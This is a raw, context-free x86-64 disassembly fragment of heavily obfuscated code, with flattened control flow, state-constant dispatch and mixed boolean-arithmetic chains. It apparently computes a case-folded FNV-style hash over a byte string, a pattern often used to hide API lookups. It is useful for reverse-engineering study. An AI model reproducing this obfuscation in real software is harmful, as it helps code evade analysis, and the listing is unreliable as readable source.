xor edx, 0x60082010
and edx, edi
not edi
xor eax, 0x8df5cfef
and eax, edi
or eax, edx
xor eax, esi
and edx, ecx
or edx, eax
mov ecx, r9d
and ecx, ebx
and ebx, 0x29086950
and r9d, 0xd6f7968f
or r9d, ebx
xor r9d, 0xd6f7968f
and ecx, 0xffffffdf
or ecx, r9d
mov r9d, edx
xor r9d, 0x6d496c5f
lea r8d, [rcx + 0x20]
mov eax, edx
xor eax, 0xe8f03d9b
mov esi, edx
xor esi, 0x92b693a0
or esi, eax
mov ebx, edx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r14d, ecx
and r14d, 0x85b951c4
mov edi, ecx
xor edi, 0x85b951e4
or edi, r14d
not esi
and esi, ebx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor ecx, 0x291100
and ecx, r14d
mov r10d, ebx
xor eax, 0xffffffdf
mov r12d, eax
and r12d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r12d
or eax, r14d
xor ebx, r14d
or r14d, 0x8594c8c6
xor ecx, r14d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, ecx
not ecx
xor edi, 0xe7b341e4
and edi, ecx
or edi, r10d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov ecx, ebx
and ecx, 0xe53a8875
or ecx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, ecx
mov ecx, ebx
xor ecx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, ecx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r9d, r8d
xor edx, r8d
xor edx, 0x6d496c5f
or edx, r9d
mov ecx, ebx
and ecx, 0x5bce1f7c
xor ecx, edx
mov eax, ebx
xor eax, edx
not edx
or edx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor ecx, ebx
and edx, eax
mov eax, ecx
xor eax, edx
xor eax, 0xe53fe4ff
xor ecx, 0xe53fe4ff
and ecx, edx
or ecx, eax
mov edx, ecx
and edx, 0x563e2c9a
or edx, 0x9005300
mov eax, ecx
and eax, 0xa9c1d365
xor eax, edx
mov ebx, ecx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, ecx
xor ebx, 0x9005300
and eax, ebx
mov edx, eax
xor edx, ecx
and edx, ebx
mov ebx, ecx
and ebx, 0xa4a3d9c2
and ecx, 0x5b5c263d
or ecx, 0xa0a01800
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor ecx, 0x403c1c2
and ecx, edi
xor eax, 0x18080420
and eax, ebx
or eax, edx
or eax, ecx
mov edx, eax
not edx
and edx, r11d
mov r10d, r11d
xor r10d, eax
xor r10d, edx
mov r9d, r11d
and r9d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r8d, eax
and r8d, 0x66fc66a2
and r11d, 0x66fc66a2
or r11d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r14d, ebx
or ebx, r8d
not r8d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, eax
and edi, 0x60080022
mov ecx, r8d
and ecx, 0xc602114
add ecx, edi
add ecx, 0x3020681
mov edi, eax
and edi, 0x2944680
xor edi, ecx
mov ecx, edi
xor ecx, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, ecx
or edi, esi
and r14d, 0x89021805
and edx, 0x10ddc158
or edx, r14d
and eax, 0x662026a2
and r8d, 0x10ddc158
or r8d, eax
xor r8d, edx
not r8d
and r8d, ebx
or r8d, edi
xor r8d, r9d
xor r8d, r11d
mov eax, r8d
xor eax, 0x1031108
mov ecx, r10d
xor r8d, 0xfefceef7
and r8d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r8d, eax
or r8d, ecx
mov eax, 0x1f53ad1b
jmp 0x140082d40
cmp eax, 0x58a11e19
je 0x1400837c6
cmp eax, 0x71946ac1
jne 0x140082d40
mov eax, 0x3117fdc4
jmp 0x140082d40
cmp eax, 0x22c0f4b1
jne 0x1400837e1
mov eax, 0x1f53ad1b
mov r8d, dword [rbp + 0x4c8]
jmp 0x140082d40
mov dword [rbp + 0x4c8], r15d
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x41
setge byte [rbp + 0x484]
mov eax, dword [rbp + 0x4c0]
jmp 0x140082d40
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
jmp 0x140082d40
cmp eax, 0x1f53ad1b
jne 0x140082d40
mov eax, r13d
and eax, 0xa06206ca
mov ecx, r13d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r9d, eax
or r9d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r9d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r9d
and r9d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r9d, edx
xor r9d, ecx
mov eax, r9d
and eax, 0x8b181a5c
or eax, 0x34434021
and r9d, 0x74e7e5a3
xor r9d, eax
mov eax, r9d
xor eax, 0x2feabccf
mov ecx, r9d
xor ecx, 0xd0154330
mov edx, r9d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r9d, 0xf77ca13a
and r9d, eax
or r9d, edx
or ecx, eax
xor r9d, 0x2769e20a
and r9d, ecx
mov eax, r9d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r14d, eax
and r14d, 0x1fbc0278
xor r14d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r14d
xor ecx, 0x24c1653b
xor r14d, 0x2441652b
and r14d, eax
or r14d, ecx
mov eax, r13d
and eax, 0xfb1401a1
or eax, 0x688008
mov r12d, r13d
and r12d, 0x4ebfe5e
xor r12d, eax
mov eax, r12d
xor eax, 0xbaad4363
or r12d, 0x453a3c94
xor r12d, 0x457abc9c
or r12d, eax
mov eax, r13d
and eax, 0xbac5c36b
mov ecx, r12d
xor ecx, 0x29379af7
mov edx, r13d
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, r13d
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r12d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r12d
xor ecx, eax
not r12d
or r12d, eax
and r12d, ecx
or r12d, ebx
mov eax, r13d
and eax, 0x3e90666b
mov ecx, r13d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r12d
mov eax, r12d
xor eax, r13d
xor eax, 0x94aca640
xor r12d, 0x94aca640
and r12d, r13d
or r12d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r12d
xor r12d, ecx
xor r12d, 0xbebcc648
and r12d, eax
mov r11d, r8d
not r11d
mov edx, r8d
and edx, 0x437fed4a
mov eax, r8d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r8d
mov ebx, r8d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r8d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r8d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov edi, eax
and edi, 0x437fed4a
lea r10d, [rdi - 0x4bffff70]
mov esi, eax
and esi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, esi
xor edx, ebx
lea esi, [rdx + 0x1384000]
mov ebx, eax
and ebx, 0x28800011
and ecx, 0x9729dbac
or ecx, ebx
xor ecx, edi
xor edi, 0x4a83322f
and edi, esi
xor edx, 0xf647adda
and edx, r10d
or edx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov ebx, eax
or ebx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ecx
mov ecx, ebx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, edx
xor eax, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xb412375a
mov edx, ebx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ebx
xor eax, 0xf5840d22
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ebx
xor edx, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, edx
and ebx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ecx
mov esi, ebx
xor esi, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, esi
mov ecx, ebx
or ecx, 0xe47d729f
mov r10d, ecx
and r10d, 0x160e96b2
mov edx, ebx
and edx, 0x9800940
or edx, r10d
xor edx, edi
xor edx, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edi
or ecx, edx
xor ecx, eax
xor ebx, eax
xor ebx, 0x1638c95a
and esi, eax
or esi, ebx
mov edx, ecx
xor edx, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or edx, esi
not edx
or edx, ecx
mov eax, edx
and eax, 0x6ec3b5e4
or eax, 0x80801
and edx, 0x913c4a1b
or edx, 0x28c13164
xor edx, eax
mov eax, edx
xor eax, 0xd736c69a
mov ecx, edx
or ecx, 0xfb4c88f1
xor ecx, 0xfbcdb9f5
mov ebx, edx
xor ebx, 0xd385b194
and ebx, eax
or ebx, ecx
xor edx, ebx
xor ebx, 0x4b3770e
or ebx, eax
xor edx, 0x2c7a4e6b
and edx, ebx
or r11d, 0xd1969ad4
mov eax, r8d
and eax, 0x248000a
mov ecx, r11d
and ecx, 0x98b14025
or ecx, eax
mov r10d, r11d
and r10d, 0x25043500
or r10d, ecx
mov eax, r10d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r10d, 0xf0ec1f1e
or r10d, eax
and r8d, 0x22000528
and r11d, 0x5debeac7
or r11d, r8d
mov eax, r11d
and eax, 0xc49602b
xor eax, 0xc496003
xor r11d, 0x10b280fc
or r11d, eax
mov eax, r10d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r10d
mov ecx, r10d
and ecx, 0x1aad6dac
or ecx, 0x24001052
mov ebx, r11d
and ebx, 0x64400203
or r10d, r11d
and r11d, 0xa296d28
or r11d, 0x64528243
xor r11d, ebx
xor r11d, ecx
xor r11d, eax
xor r11d, 0x41429241
not r10d
or r10d, r11d
mov r11d, r12d
mov r8d, r12d
mov ecx, r12d
mov edi, r12d
mov ebx, r12d
mov esi, r12d
and esi, 0x100108
mov eax, r12d
or eax, 0x3bac76d0
mov r15d, r12d
xor r15d, 0xc453892f
or r15d, eax
and eax, 0xfc6bc837
or eax, esi
mov esi, r12d
xor eax, r12d
and r12d, 0x8d80cfea
xor r11d, 0x1008060
and r11d, r12d
and r8d, 0x70663010
and ecx, 0x2190005
or ecx, 0x7c006010
xor ecx, r8d
and edi, 0x1008060
or edi, 0x4804600
xor edi, r11d
xor edi, ecx
xor edi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r12d
xor ebx, 0xf27fff77
xor esi, 0x8d80cfea
or esi, ebx
not esi
or esi, edi
mov r8d, esi
xor r8d, 0x727f3015
mov ecx, esi
xor ecx, 0xb62cb93a
and ecx, r8d
mov r12d, esi
xor r12d, 0x49d346c5
or r12d, ecx
xor eax, 0x38284010
and eax, r15d
mov ebx, r14d
xor ebx, 0x40008000
and ebx, r14d
and r9d, 0x40008000
xor r9d, 0x4a849408
and ebx, 0x44018902
or ebx, r9d
mov ecx, r14d
mov r9d, r14d
mov edi, r14d
and edi, 0x8010000c
and ecx, 0x420021
or ecx, 0x45880090
xor ecx, ebx
and r9d, 0x3bac76d0
xor r9d, 0x8afe54bd
xor edi, ecx
xor edi, 0x1a04008
and edi, r9d
xor ecx, 0x41a14902
or ecx, r9d
xor ecx, edi
mov r15d, r12d
mov ebx, r12d
and ebx, 0xb2e0d7b3
and r15d, 0x4d1f284c
or r15d, 0x22804682
xor r15d, ebx
mov edi, r15d
xor edi, 0x6f9f6ece
mov ebx, eax
and ebx, 0xb2e0d7b3
or ebx, 0x45082048
mov r9d, eax
and r9d, 0x4d1f284c
xor r9d, ebx
mov r11d, r15d
xor r11d, 0x98385838
and r11d, edi
mov edi, r9d
xor edi, 0x8170804
mov ebx, r9d
xor ebx, 0x4fc10d
and ebx, edi
mov edi, r15d
or edi, 0x858c909
or r9d, 0xf7a736f6
xor r9d, 0xf7eff7ff
or r9d, ebx
mov ebx, edi
and ebx, 0x8899f000
and r15d, 0x772606f6
or r15d, ebx
mov ebx, r12d
xor r15d, r11d
xor edi, 0x9878d939
and edi, r11d
mov r11d, r12d
and ebx, 0x9e366bbf
xor ebx, eax
xor r11d, eax
not eax
or eax, r12d
xor r15d, 0x9838d030
or edi, r15d
mov r15d, r14d
xor edi, r9d
mov r9d, r14d
and r12d, 0x61c99440
or r12d, 0x21040b3
xor ebx, r12d
and eax, r11d
mov r11d, ebx
xor r11d, eax
xor r11d, 0xfdefbf4c
xor ebx, 0xfdefbf4c
and ebx, eax
or ebx, r11d
mov eax, ebx
and eax, 0xc0508439
or eax, 0x892802
and ebx, 0x3faf7bc6
xor ebx, eax
mov r12d, ebx
xor r12d, 0x892802
mov r11d, edi
and r11d, 0x4e3f9ca4
mov eax, r12d
and eax, 0xb1c0635b
xor eax, r11d
mov r11d, r12d
xor r12d, edi
xor ebx, 0xff76d7fd
or ebx, edi
and edi, 0xb1c0635b
or edi, 0xc081c80
xor eax, edi
and r11d, 0x4e3f9ca4
or r11d, 0xb040624a
xor r11d, eax
xor r11d, 0x43b78135
and ebx, r12d
or ebx, r11d
mov eax, ebx
not eax
mov edi, ebx
and edi, 0x4de1c672
mov r11d, ebx
or r11d, 0x4de1c672
mov r12d, r11d
and r12d, 0x26011ca7
and eax, 0x901e2108
or eax, r12d
mov r12d, ebx
xor r12d, 0x4010422
and r12d, edi
not edi
xor r12d, eax
mov eax, ebx
and eax, 0x420
xor r11d, edi
and edi, 0x26010887
add eax, edi
add eax, 0xd1f0c210
xor eax, r12d
mov edi, esi
mov r12d, esi
xor r9d, esi
xor esi, 0x8d80cfea
and esi, r14d
xor ecx, 0x4de1c672
xor eax, 0xd1f0d630
xor ebx, 0x4de1c672
or ebx, r11d
not ebx
or ebx, eax
mov eax, ecx
and eax, 0xb7fb9257
or eax, 0x42d28
and ecx, 0x48046da8
xor ecx, eax
mov r11d, ecx
mov eax, ebx
and eax, 0xb7fb9257
or eax, 0x40004d08
and ebx, 0x48046da8
xor ebx, eax
mov eax, ebx
xor eax, 0xf7fbdf5f
xor ecx, 0x48004080
and ecx, eax
mov eax, edx
not eax
xor r11d, 0xb7ffbf7f
xor ebx, 0x80420a0
and ebx, r11d
mov r11d, r10d
xor r11d, 0xb2a695c4
or ebx, ecx
and edi, 0xa631f20f
xor edi, 0x8400c20a
xor r12d, 0x2bb13de5
and r15d, 0x59ce0df0
or r15d, 0x86009003
and r14d, 0xa631f20f
xor r14d, r15d
and edi, r8d
or edi, r12d
mov ecx, r14d
xor r14d, 0xdfce9df3
and r14d, edi
not edi
xor ecx, edi
xor ecx, 0xdfce9df3
and ecx, edi
or r14d, ecx
mov ecx, r9d
xor ecx, 0x8d80cfea
or esi, ecx
mov r12d, r9d
xor r12d, 0x727f3015
xor r9d, esi
xor r9d, 0x727f3015
or r12d, esi
not r12d
or r12d, r9d
mov ecx, r12d
and ecx, 0xcde4750
or ecx, 0x21209829
and r12d, 0xf321b8af
xor r12d, ecx
mov ecx, r12d
xor ecx, 0xdedf67d6
and ecx, r14d
xor r12d, r14d
xor r12d, 0xdedf67d6
or r12d, ecx
mov ecx, r12d
and ecx, 0xa94c8ce7
lea r9d, [rcx + 0x42217110]
xor ecx, 0xa94c8ce7
mov r8d, r9d
and r8d, 0x4804a0a0
mov esi, r12d
xor esi, 0x81480c46
and esi, ecx
and ecx, 0x20000001
or ecx, r8d
mov edi, ecx
and edi, 0x600080a1
and r9d, 0x8042000
add edi, r9d
add edi, 0x5021e54
xor edi, esi
xor edi, 0x33805e5d
xor ecx, 0x20000001
and ecx, esi
or ecx, edi
and r12d, 0x56b37318
xor r12d, ecx
mov ecx, r12d
xor ecx, 0x283593b1
mov edi, r12d
xor edi, 0xd7ca6c4e
and edi, ecx
xor r12d, edi
xor r12d, 0xd7ca6c4e
or r12d, edi
mov ecx, r12d
and ecx, 0xab469b10
or ecx, 0x50b0608d
and r12d, 0x54b964ef
xor r12d, ecx
mov ecx, r12d
xor ecx, 0xaf4f9f72
mov edi, ebx
not edi
and edi, ecx
xor r12d, 0x50b0608d
and r12d, ebx
or edi, r12d
and r12d, ecx
and ecx, ebx
xor edi, ecx
xor r12d, edi
mov ecx, edx
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov ebx, edx
and ebx, 0xbf6c245a
xor ebx, ecx
mov r14d, ebx
xor r14d, 0xc19bdfa5
mov edi, r10d
xor edi, 0x4d596a3b
xor ebx, 0x3e64205a
mov esi, ebx
or esi, r11d
and ebx, edi
and r14d, r11d
or r14d, ebx
xor r14d, esi
mov r8d, r14d
not r8d
mov ebx, edx
and ebx, 0xd240d802
or ebx, 0x2049
or eax, 0xde6c8a14
and eax, 0xff7c8ab4
xor eax, ebx
mov ebx, eax
xor ebx, 0xca20210
and edx, 0xcaf275d
lea edi, [rdx - 0x2dbf27fe]
xor eax, 0xd754f
and eax, edi
xor edx, 0x2d3107b0
and edx, ebx
or edx, eax
mov r15d, r10d
xor r15d, 0x41f64d66
mov eax, r15d
and eax, 0x84a6247d
mov ebx, edx
and ebx, 0x84afa47d
or ebx, 0x29001a80
and edx, 0x7b505b82
and r10d, 0x98000
add eax, r10d
add eax, 0x19105080
and r15d, 0x7b505b82
xor r15d, eax
xor r15d, edx
xor r15d, ebx
mov r10d, r15d
xor r10d, 0xcfefb5ff
mov edx, r10d
and edx, 0x260dd63e
mov edi, r15d
and edi, 0xd9f229c1
mov ecx, r8d
mov eax, r8d
mov r11d, r10d
or r10d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and ecx, 0x90c00100
or ecx, 0x10
and eax, 0x493228c1
or eax, 0x8080440c
xor eax, ecx
mov ecx, r14d
or ecx, 0xdbfeebdb
xor ecx, r8d
xor ecx, eax
xor ecx, 0xa6beb606
mov ebx, r14d
xor ebx, 0xd9f229c1
xor r14d, 0x260dd63e
or r14d, ebx
not r14d
or r14d, ecx
mov ecx, edx
not ecx
mov eax, edi
xor eax, 0xefeff7ff
mov esi, r15d
xor esi, 0x200c436
and esi, edx
mov ebx, edi
xor ebx, 0xcd3d5188
and ebx, eax
or edi, 0xdd2d5988
and r11d, 0x91008
xor edx, eax
xor eax, ecx
and ecx, 0xc5044100
add ecx, r11d
add ecx, 0x2082a441
xor ecx, esi
mov esi, edi
and esi, 0x451651c1
and r15d, 0xc02000
or r15d, esi
xor edi, 0xdd3d5988
and edi, ebx
and ebx, 0xd9fb29c9
xor ebx, r15d
xor ebx, 0x41100180
or edi, ebx
xor edi, ecx
xor edi, 0x38abbcc9
or eax, edx
not eax
or eax, edi
xor eax, r14d
mov ecx, r10d
not ecx
and ecx, eax
xor r10d, eax
xor r10d, ecx
mov esi, r12d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r12d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r12d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r12d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r12d
or r14d, ebx
and r14d, edx
mov edx, r10d
and edx, 0xe0b76cbb
mov qword [rbp + 0x410], rdx
add edx, 0x1c000300
mov r9d, r10d
and r9d, 0x1f489344
xor r9d, edx
mov edx, eax
and edx, 0x12086e0
xor r12d, 0x8480104
and r12d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r12d, ecx
mov ecx, r12d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r12d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r12d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov edx, r14d
and edx, 0xd5decb2c
mov ebx, edx
xor ebx, 0x4912a796
mov ecx, ebx
or ecx, 0x5d4314bb
mov eax, r14d
or eax, 0xaabdffd7
xor eax, ecx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor edx, 0xd5decb2c
mov ecx, edx
or edx, edi
not edi
mov r13d, r14d
and r13d, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add r8d, r13d
add r8d, 0x4c400028
xor r8d, r15d
mov r15d, r8d
xor r15d, 0xecfc892c
mov r13d, eax
xor eax, 0x2a3197d7
and eax, r15d
xor r13d, 0x6000
xor r8d, 0x130376d3
and r8d, r13d
or r8d, eax
xor r9d, 0xfcb76fbb
and r9d, r10d
mov r15, qword [rbp + 0x410]
xor r15d, 0xe0b76cbb
and ecx, 0x504a8308
and ebx, 0x859448b4
or ebx, ecx
mov eax, r14d
and eax, 0xa203442
and edi, 0xa59548b5
or edi, eax
xor edi, ebx
xor edi, 0xdeeefffa
and edi, edx
or edi, r8d
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r12d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r12d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r12d, 0x281501
or r12d, edx
xor r12d, eax
xor r12d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r12d
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r10d
and eax, 0x3089a
mov r12, r15
mov ecx, r12d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r10d, 0xe0342421
and r10d, r12d
or r10d, ecx
mov ecx, r10d
xor ecx, 0xef7cb561
mov edx, r10d
and edx, 0x30240e
mov eax, ecx
and eax, 0xf1cfcab1
or eax, edx
mov ebx, eax
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and eax, 0x814ca20e
or eax, edx
or ebx, 0xa45bbedf
mov esi, eax
xor esi, 0x51a47060
and esi, ebx
mov ebx, r9d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r9d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and eax, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, eax
lea r15d, [rdi + r11]
add edi, r11d
add edi, 0x2018000
mov rax, r12
and eax, 0x40a44020
xor edi, edx
mov edx, eax
xor edx, 0xfce65bba
xor r15d, 0xec26120a
and r15d, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, eax
xor ebx, eax
lea edx, [rax + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, r15d
or ebx, edx
mov eax, r8d
xor eax, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, eax
mov eax, r10d
and r10d, 0xc09208a5
and ecx, 0x3a25f71a
or ecx, r10d
xor eax, r9d
xor ecx, r9d
mov edx, r9d
not edx
or ebx, r8d
xor eax, 0xef7cb561
and eax, edx
xor ecx, 0x3aa7ff9e
or ecx, eax
mov eax, ecx
and eax, 0xd49ab90b
mov edx, ecx
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, eax
mov eax, edx
xor eax, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, eax
not ecx
and ecx, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or ecx, edx
or ecx, edi
xor ecx, r14d
imul eax, ecx, 0x1000193
mov dword [rbp + 0x4d0], eax
mov eax, dword [rbp + 0x450]
mov r15d, dword [rbp + 0x44c]
mov r10, qword [rbp + 0x400]
mov r8d, dword [rbp + 0x3e0]
mov esi, dword [rbp + 0x3e8]
mov edi, dword [rbp + 0x48c]
mov r9d, dword [rbp + 0x490]
jmp 0x140082ca0
cmp eax, 0x581f37ef
jle 0x140084980
cmp eax, 0x581f37f0
je 0x1400849f7
cmp eax, 0x5c59f878
je 0x140084a10
cmp eax, 0x7694ece2
jne 0x140082ca0
test r15b, 1
movsx eax, byte [rbp + 0x4ee]
mov ecx, dword [rbp + 0x4e8]
sete byte [rbp + 0x4bc]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ac]
mov ecx, 0x462bec05
jmp 0x140084850
cmp ecx, 0x22c0f4b1
jne 0x140084939
mov ecx, dword [rbp + 0x4c8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x1400848a0
cmp ecx, 0x58a11e18
jg 0x1400848c0
cmp ecx, 0x3117fdc4
je 0x1400848de
cmp ecx, 0x462bec05
jne 0x140084850
movzx edx, byte [rbp + 0x4bc]
cmp byte [rbp + 0x4ac], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x14008488f
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x140084850
cmp ecx, 0x1f53ad1a
jg 0x140084839
cmp ecx, 0x8353906e
je 0x1400848ff
cmp ecx, 0xb9e70da7
je 0x140084845
jmp 0x140084850
cmp ecx, 0x58a11e19
je 0x14008491b
cmp ecx, 0x71946ac1
jne 0x140084850
mov ecx, 0x3117fdc4
jmp 0x140084850
mov dword [rbp + 0x4c8], eax
mov ecx, dword [rbp + 0x4c8]
cmp ecx, 0x41
setge byte [rbp + 0x484]
mov ecx, dword [rbp + 0x4c0]
jmp 0x140084850
cmp byte [rbp + 0x484], 0
mov ecx, 0x58a11e19
jne 0x140084850
mov ecx, 0x22c0f4b1
jmp 0x140084850
mov edx, dword [rbp + 0x4c8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x140084850
mov ecx, 0x22c0f4b1
jmp 0x140084850
cmp ecx, 0x1f53ad1b
jne 0x140084850
mov eax, 0x9fdcb46a
jmp 0x140082ca0
cmp eax, 0xbd0b03e6
je 0x140084a40
cmp eax, 0xe59fd857
jne 0x140084a65
mov r8d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4a4]
jmp 0x140082ca0
cmp eax, 0x17954bb8
je 0x140082c86
cmp eax, 0x2f530768
jne 0x140082ca0
mov eax, dword [rbp + 0x454]
jmp 0x140082ca0
mov r8d, dword [rbp + 0x4e8]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x4e8]
jmp 0x140082ca0
mov rax, qword [rbp + 0x468]
add rax, 1
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x468]
mov al, byte [rax]
mov byte [rbp + 0x4ee], al
